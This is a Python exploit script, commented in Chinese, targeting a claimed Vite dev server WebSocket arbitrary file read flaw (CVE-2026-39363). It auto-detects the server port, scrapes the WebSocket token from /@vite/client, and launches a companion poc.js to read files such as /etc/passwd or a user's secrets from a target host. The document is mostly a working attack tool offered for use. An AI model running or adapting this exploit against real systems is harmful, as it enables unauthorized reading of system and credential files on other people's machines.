#!/usr/bin/env python3
"""
CVE-2026-39363 Exploit
Vite Dev Server WebSocket Arbitrary File Read Vulnerability

漏洞原理:
- Vite Dev Server 的 WebSocket fetchModule RPC 调用绕过了 HTTP 层安全检查
- 虽然在 loadAndTransform 中有 isFileLoadingAllowed 检查
- 但如果 server.fs.allow 配置宽松，仍可读取项目外文件
- 攻击者可通过 WebSocket RPC 绕过 HTTP 的 server.fs.allow 检查点

利用条件:
- 配置 server.fs.allow: ['..'] 或更宽松配置
- 或配置 server.fs.strict: false
- 可获取 wsToken (通过访问 /@vite/client)

Usage:
    python exp.py -t localhost -p 5173 -f "C:/Users/xxx/secret.txt"
    python exp.py -t 192.168.1.100 -p 5173 -f "/etc/passwd" --token "your_token"
"""

import argparse
import subprocess
import sys
import os
import re
import json
import urllib.request
import urllib.error
import socket


class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    RESET = '\033[0m'
    BOLD = '\033[1m'


def banner():
    print(f"""{Colors.CYAN}
╔══════════════════════════════════════════════════════════════╗
║{Colors.WHITE}{Colors.BOLD}   CVE-2026-39363 - Vite WebSocket Arbitrary File Read   {Colors.CYAN}║
║{Colors.WHITE}                Vite Dev Server Exploit                  {Colors.CYAN}║
╚══════════════════════════════════════════════════════════════╝
{Colors.RESET}""")


def check_port_open(target: str, port: int, timeout: float = 2.0) -> bool:
    """检查端口是否开放（支持 IPv4 和 IPv6）"""
    # 尝试 IPv4
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((target, port))
        sock.close()
        if result == 0:
            return True
    except:
        pass

    # 尝试 IPv6 (localhost 用 ::1)
    if target in ['localhost', '127.0.0.1']:
        try:
            sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex(('::1', port, 0, 0))
            sock.close()
            if result == 0:
                return True
        except:
            pass

    return False


def find_vite_port(target: str, start_port: int, max_ports: int = 10) -> tuple:
    """查找 Vite 实际运行的端口，返回 (port, use_ipv6)"""
    for port in range(start_port, start_port + max_ports):
        # 先尝试 IPv4
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
            result = sock.connect_ex((target, port))
            sock.close()
            if result == 0:
                return (port, False)
        except:
            pass

        # 对于 localhost，尝试 IPv6
        if target in ['localhost', '127.0.0.1']:
            try:
                sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
                sock.settimeout(2)
                result = sock.connect_ex(('::1', port, 0, 0))
                sock.close()
                if result == 0:
                    return (port, True)
            except:
                pass

    return (start_port, False)


def get_ws_token(target: str, port: int, use_ipv6: bool = False) -> str:
    """通过 HTTP 请求获取 WebSocket token"""
    # 构建正确的 URL（IPv6 需要用方括号）
    if use_ipv6:
        host = f"[::1]"
    else:
        host = target

    url = f"http://{host}:{port}/@vite/client"
    try:
        req = urllib.request.Request(url, headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        resp = urllib.request.urlopen(req, timeout=10)
        content = resp.read().decode('utf-8', errors='ignore')

        # 查找 wsToken - 格式: const wsToken = "xxxxx"
        match = re.search(r'wsToken\s*=\s*"([^"]+)"', content)
        if match:
            return match.group(1)

        match = re.search(r'__WS_TOKEN__\s*=\s*"([^"]+)"', content)
        if match:
            return match.group(1)

        # 从 URL 参数中提取
        match = re.search(r'[?&]token=([^&"\']+)', content)
        if match:
            return match.group(1)

    except urllib.error.URLError as e:
        print(f"{Colors.YELLOW}[!]{Colors.RESET} HTTP request failed: {e}")
    except Exception as e:
        print(f"{Colors.YELLOW}[!]{Colors.RESET} Error fetching token: {e}")

    return None


def parse_node_output(output: str) -> list:
    """解析 Node.js POC 输出"""
    results = []

    # 检查是否有 SUCCESS 标记
    if "[+] SUCCESS!" in output:
        # 提取文件路径
        file_match = re.search(r'File path: ([^\n]+)', output)
        if file_match:
            results.append({
                "file": file_match.group(1).strip(),
                "code": "Content retrieved successfully"
            })

    return results


def exploit(target: str, port: int, file_path: str, token: str = None, auto_find_port: bool = True) -> list:
    """执行漏洞利用"""

    use_ipv6 = False

    # 自动查找 Vite 实际运行的端口
    if auto_find_port:
        print(f"{Colors.BLUE}[>]{Colors.RESET} Scanning for Vite server starting from port {port}...")
        actual_port, use_ipv6 = find_vite_port(target, port)
        if actual_port != port:
            print(f"{Colors.YELLOW}[!]{Colors.RESET} Vite server found on port {actual_port} (not {port})")
        else:
            print(f"{Colors.GREEN}[+]{Colors.RESET} Vite server found on port {port}")
        port = actual_port

    # 检查端口是否开放
    if not check_port_open(target, port) and not use_ipv6:
        print(f"{Colors.RED}[-]{Colors.RESET} Cannot connect to {target}:{port}")
        print(f"{Colors.YELLOW}[!]{Colors.RESET} Make sure Vite Dev Server is running")
        return []

    # 获取 token
    if not token:
        print(f"{Colors.BLUE}[>]{Colors.RESET} Fetching WebSocket token from /@vite/client...")
        token = get_ws_token(target, port, use_ipv6)

        if not token:
            print(f"{Colors.YELLOW}[!]{Colors.RESET} Could not fetch token")
            print(f"{Colors.YELLOW}[!]{Colors.RESET} The server may have skipWebSocketTokenCheck enabled, or connection failed")
            return []

    print(f"{Colors.GREEN}[+]{Colors.RESET} Token: {token}")
    print(f"{Colors.YELLOW}[*]{Colors.RESET} Target file: {file_path}")
    if use_ipv6:
        print(f"{Colors.CYAN}[*]{Colors.RESET} Using IPv6 connection")
    print()

    # 查找 poc.js
    script_dir = os.path.dirname(os.path.abspath(__file__))
    poc_path = os.path.join(script_dir, "poc.js")

    if not os.path.exists(poc_path):
        print(f"{Colors.RED}[-]{Colors.RESET} poc.js not found: {poc_path}")
        return []

    # 如果使用 IPv6，修改 target 为 ::1
    ws_target = "::1" if use_ipv6 else target

    cmd = ["node", poc_path, ws_target, str(port), file_path, token]

    print(f"{Colors.BLUE}[>]{Colors.RESET} Running exploit...")
    print(f"{Colors.CYAN}    WebSocket: ws://{ws_target}:{port}?token={token}")
    print(f"{Colors.CYAN}    Protocol: vite-hmr")
    print()

    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=30,
            cwd=script_dir
        )

        output = result.stdout
        stderr = result.stderr

        if stderr and "Error" in stderr:
            print(f"{Colors.RED}[!] Node.js error: {stderr[:300]}{Colors.RESET}")

        # 打印输出
        print_output_with_colors(output)
        results = parse_node_output(output)
        return results

    except subprocess.TimeoutExpired:
        print(f"{Colors.RED}[-]{Colors.RESET} Timeout - server may not be responding")
        return []
    except FileNotFoundError:
        print(f"{Colors.RED}[-]{Colors.RESET} Node.js not found. Please install Node.js.")
        return []
    except Exception as e:
        print(f"{Colors.RED}[-]{Colors.RESET} Error: {e}")
        return []


def print_output_with_colors(output: str) -> None:
    """打印带颜色的输出"""
    for line in output.split('\n'):
        if '[+] SUCCESS!' in line:
            print(f"{Colors.GREEN}{line}{Colors.RESET}")
        elif '[+] File content:' in line or line.startswith('=') or line.startswith('-'):
            print(f"{Colors.CYAN}{line}{Colors.RESET}")
        elif '[-] Error:' in line:
            print(f"{Colors.RED}{line}{Colors.RESET}")
        elif '[*]' in line:
            print(f"{Colors.YELLOW}{line}{Colors.RESET}")
        elif '[!]' in line:
            print(f"{Colors.BOLD}{Colors.YELLOW}{line}{Colors.RESET}")
        elif '[+] Server confirmed' in line or '[+] Connection established' in line:
            print(f"{Colors.GREEN}{line}{Colors.RESET}")
        elif line.strip():
            print(line)


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-39363 - Vite WebSocket Arbitrary File Read",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
    python exp.py -t localhost -p 5173 -f "C:/Users/xxx/secret.txt"
    python exp.py -t 192.168.1.100 -p 5173 -f "/etc/passwd" --token "abc123"
    python exp.py -t localhost -p 5173 -f "src/main.js" --no-auto-port

Note:
    - Vite automatically tries next port if default is occupied
    - This script will auto-detect the actual port Vite is running on
    - File access is limited by server.fs.allow configuration
"""
    )
    parser.add_argument("-t", "--target", default="localhost", help="Target host (default: localhost)")
    parser.add_argument("-p", "--port", type=int, default=5173, help="Starting port to check (default: 5173)")
    parser.add_argument("-f", "--file", required=True, help="File path to read")
    parser.add_argument("--token", default=None, help="WebSocket token (auto-fetched if not provided)")
    parser.add_argument("--no-auto-port", action="store_true", help="Disable automatic port detection")

    args = parser.parse_args()

    banner()

    results = exploit(
        target=args.target,
        port=args.port,
        file_path=args.file,
        token=args.token,
        auto_find_port=not args.no_auto_port
    )

    print()
    print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
    print(f"{Colors.BOLD}Summary{Colors.RESET}")
    print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")

    if results:
        print(f"{Colors.GREEN}[+] Files retrieved: {len(results)}{Colors.RESET}")
        for r in results:
            print(f"    - {r['file']}")
        print(f"{Colors.GREEN}[+] Exploit successful!{Colors.RESET}")
        sys.exit(0)
    else:
        print(f"{Colors.RED}[-] No files retrieved{Colors.RESET}")
        print()
        print(f"{Colors.YELLOW}Possible reasons:{Colors.RESET}")
        print(f"  1. File is outside server.fs.allow directories")
        print(f"  2. File does not exist")
        print(f"  3. WebSocket connection failed (wrong token)")
        print(f"  4. Vite Dev Server not running")
        print()
        print(f"{Colors.CYAN}Tip: Check vite.config.js server.fs.allow settings{Colors.RESET}")
        sys.exit(1)


if __name__ == "__main__":
    main()